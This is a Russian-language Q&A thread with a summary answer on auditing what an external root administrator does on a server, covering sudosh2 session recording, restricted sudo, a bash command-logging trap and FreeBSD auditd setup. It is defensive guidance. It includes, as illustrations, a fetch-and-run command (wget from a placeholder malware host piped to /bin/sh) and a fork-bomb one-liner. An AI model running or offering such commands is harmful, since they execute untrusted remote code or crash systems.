Вопрос или проблема
Я хочу предоставить доступ к моему серверу root внешнему системному администратору, но хочу быть уверенным, что смогу дважды проверить, что он делает с моим сервером, например, копирует данные, которые я не хочу, чтобы он копировал, и так далее. Я также хотел бы отслеживать любые файлы, к которым обращаются, даже если они только чтения и не редактируются.
Как я могу это сделать?
Доверяйте, но проверяйте!
Обратите внимание на sudosh2. sudosh2 предоставляется через FreeBSD_ports. Пакеты доступны для RedHat и Ubuntu. Вот описание с их сайта:
sudosh – это фильтр аудита оболочки, который можно использовать в качестве оболочки для входа. Sudosh записывает все нажатия клавиш и вывод и может воспроизводить сессию, подобно видеомагнитофону.
Sudosh позволит вам воспроизвести сессию пользователя, что позволит вам увидеть весь ввод и вывод так, как это видел пользователь. Вы видите всё: нажатия клавиш, опечатки, возвраты, что он редактировал в vi
, вывод wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
и так далее.
Можно отправлять логи sudosh на syslog, чтобы они хранились на центральном сервере syslog, вдали от системы.
Обратите внимание, что sudosh2 является заменой sudosh, который был заброшен его автором.
Вы работаете в академическом учреждении, где пользователи настаивают на наличии привилегий суперпользователя? Или вы работаете в корпорации и хотите позволить пользователям иметь привилегии суперпользователя на своих виртуальных машинах? Это может быть решением для вас.
Не давайте ему доступ к root. Вместо этого дайте ему аккаунт без привилегий и попросите выполнять всю свою работу через sudo
, который будет записывать все его команды.
Имейте в виду, что если у этого человека злые намерения и вы дадите ему полные привилегии sudo, он найдет способ реализовать эти злые намерения, не записывая команды. В этом случае предоставьте ему доступ только к конкретным командам, которые ему нужны для выполнения его работы.
Я незнаком с sudosh2, но я добавил следующее в свой .bashrc
, чтобы записывать все команды, которые я набираю в оболочке bash
, в файл ~/.command_log
:
# записать каждую набранную команду и время
if [ -n "${BASH_VERSION}" ]; then
trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
\$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi
Вышеуказанное устанавливает ловушку на DEBUG
, которая выполняется сразу перед выполнением обычной команды. Встроенная команда caller
используется для тестирования, вводится ли команда в интерактивной оболочке или выполняется через что-то вроде .bashrc
. Значение ${BASH_COMMAND}
содержит команду, выполняемую в данный момент.
Вы хотите поручить операционной системе инициировать события журнала. С версией FreeBSD 6.2, выпущенной в 2007 году, стала доступна функция аудита событий безопасности. Сегодня она является частью сборки GENERIC
.
-
Определите классы событий аудита, которые вы хотите отслеживать. Классы аудита определены в
/etc/security/audit_class
. Чтобы понять, какие специфические события аудита они содержат, прочитайте/etc/security/audit_event
. Вам необходимоfr
чтение файла,fw
запись файла,fa
доступ к атрибутам файла,fm
изменение атрибутов файла,fc
создание файла,fd
удаление файла, иex
для системного вызоваexec
, илиpc
управление процессом для любого системного вызова, выполняющего манипуляции в пространстве имен процесса.
Примечание: класс
ex
не может захватывать встроенные команды оболочки, такие какkill
илиulimit
(может быть,x(){ x|x& };x
, я это сейчас не тестировал). -
Создайте и отредактируйте
/etc/security/audit_user
, чтобы включить строкуroot:fr,fw,fa,fm,fc,fd,ex:no
Для пользователя
root
(это разрешается, так что это включает в себяtoor
), логируйте все (успешные или неуспешные) события доступа к файлам и (успешные или неуспешные) события выполнения. Этот набор событийне
подлежит дальнейшим ограничениям.Примечание: записи
audit_user
относятся к реальному идентификатору пользователя. Он установлен, еслиroot
использует системный вызовsetuid
. -
Включите демон аудита.
service auditd enable
-
Перезагрузите машину. Это гарантирует, что
root
выйдет из системы и должен снова “войти”; набор записанных событий оценивается один раз во время входа. Также запускается демонauditd
. -
Проверьте работу.
service auditd status praudit /dev/auditpipe & { sleep 1 ; touch /tmp/foo ; } ; kill %1
Журналы аудита собираются в
/var/audit
.
Примечания:
- В
audit_user
вы можете перечислитьroot
и/или пользователей группыwheel
и/или перечисленные в/root/.k5login
//root/.k5users
(в зависимости от того, какой метод вы используете, чтобы сделатьsu
/ksu
возможным). Затем вы можете впоследствии фильтровать следы аудита с помощьюauditreduce -e root
, чтобы узнать, какие из записанных действий были выполнены с эффективным идентификатором пользователяroot
. - Следы аудита могут быстро стать огромными, поэтому вы можете захотеть обрабатывать их как можно скорее. Например, вы можете настроить
bsmtrace
из портаsecurity/bsmtrace3
, чтобы использовать следы аудита, но это требует отдельного вопроса. - Хранение следов аудита на машине, которую вы проверяете, является проблемой, поскольку их можно манипулировать через
root
. Демонauditdistd
может безопасно распределять файлы следов аудита по сети. Это, однако, не предотвращает вмешательствоroot
в службы аудита. - Команда
setaudit
из портаsecurity/setaudit
раскрывает системный вызовsetaudit
, позволяющий вам следить только за одной группой процессов. - Если вы хотите смотреть через плечо, как это позволяет делать
sudosh
, модуль ядра для слеженияsnp
позволяет вамнаблюдать
за действиями. Однако для совместной работы я бы предпочелsysutils/screen
илиsysutils/tmux
.
Ответ или решение
Для обеспечения контроля доступа и ведения учета действий внешнего системного администратора на вашем сервере с правами root, существует несколько надежных методов. В данной статье я представлю два основных подхода, которые помогут вам достичь вашей цели: использование утилиты Sudosh2 для аудита команд и применения возможности журналирования событий в операционной системе.
1. Использование Sudosh2 для записи сеансов
Sudosh2 — это утилита, которая позволяет записывать все вводимые команды и выводимые данные в ходе сессии. Это полезно, если вы хотите иметь подробный отчет о действиях администратора.
Установка Sudosh2
- Для установки Sudosh2 обычно доступны пакеты для различных дистрибутивов, таких как RedHat и Ubuntu. На FreeBSD вы можете установить его через порты.
# Пример команды установки на Ubuntu
sudo apt-get install sudosh2
Настройка Sudosh2
После установки, вам необходимо настроить доступ администратора через Sudosh2. Это можно сделать следующим образом:
-
Создание учетной записи: Создайте учетную запись для системного администратора и убедитесь, что он не имеет прав root напрямую.
-
Настройка Sudosh2 как оболочки: Измените оболочку пользователя на Sudosh2. Это можно сделать с помощью команды
chsh
.
chsh -s /usr/bin/sudosh2 имя_пользователя
- Редиректирование логов: Вы можете настроить Sudosh2 на отправку логов в syslog, что позволит вам хранить логи на центральном сервере, что улучшит безопасность.
Воспроизведение сессий
С помощью Sudosh2 вы можете воспроизводить сеансы, что позволяет вам в любой момент времени просмотреть действия администратора и их результаты.
2. Журналирование команд с помощью Bash и аудита системы
Если Sudosh2 не подходит, вы можете записывать команды, введенные в оболочку Bash, и настраивать аудит на уровне операционной системы.
Логирование терминальных команд в Bash
Вы можете добавить в файл .bashrc
следующую конструкцию для ведения журнала всех введенных команд:
# Запись каждой команды с указанием времени
if [ -n "${BASH_VERSION}" ]; then
trap "caller >/dev/null || printf '%s\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z') \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi
Это позволит записывать каждую команду в файл ~/.command_log
.
Настройка системного аудита
Для более серьезного контроля доступа, вы можете использовать встроенные возможности аудита операционной системы. Например, в FreeBSD вы можете настроить систему аудита следующими шагами:
-
Определение классов событий: Обратите внимание на классы событий в
/etc/security/audit_class
и/etc/security/audit_event
. -
Настройка
/etc/security/audit_user
: Добавьте строку, чтобы отслеживать события чтения и записи файлов для пользователя root.
root:fr,fw,fa,fm,fc,fd,ex:no
- Запуск демона аудита: Включите демон аудита, чтобы он начал фиксировать события.
service auditd enable
-
Перезагрузка системы: Для применения изменений требуется перезагрузка.
-
Проверка работы: Убедитесь, что демон работает, и вы можете просматривать журналы событий.
service auditd status
Заключение
Оба предложенных метода — использование Sudosh2 и системного аудита — предоставляют надежные инструменты для отслеживания действий внешних системных администраторов. Выбор между ними может зависеть от ваших специфических требований к мониторингу, а также от используемой операционной системы.
Помните, что важно не только отслеживать действия, но и ограничивать доступ, чтобы предотвращать потенциальные угрозы безопасности. Настройте минимально необходимые права, чтобы обеспечивать безопасность вашей системы.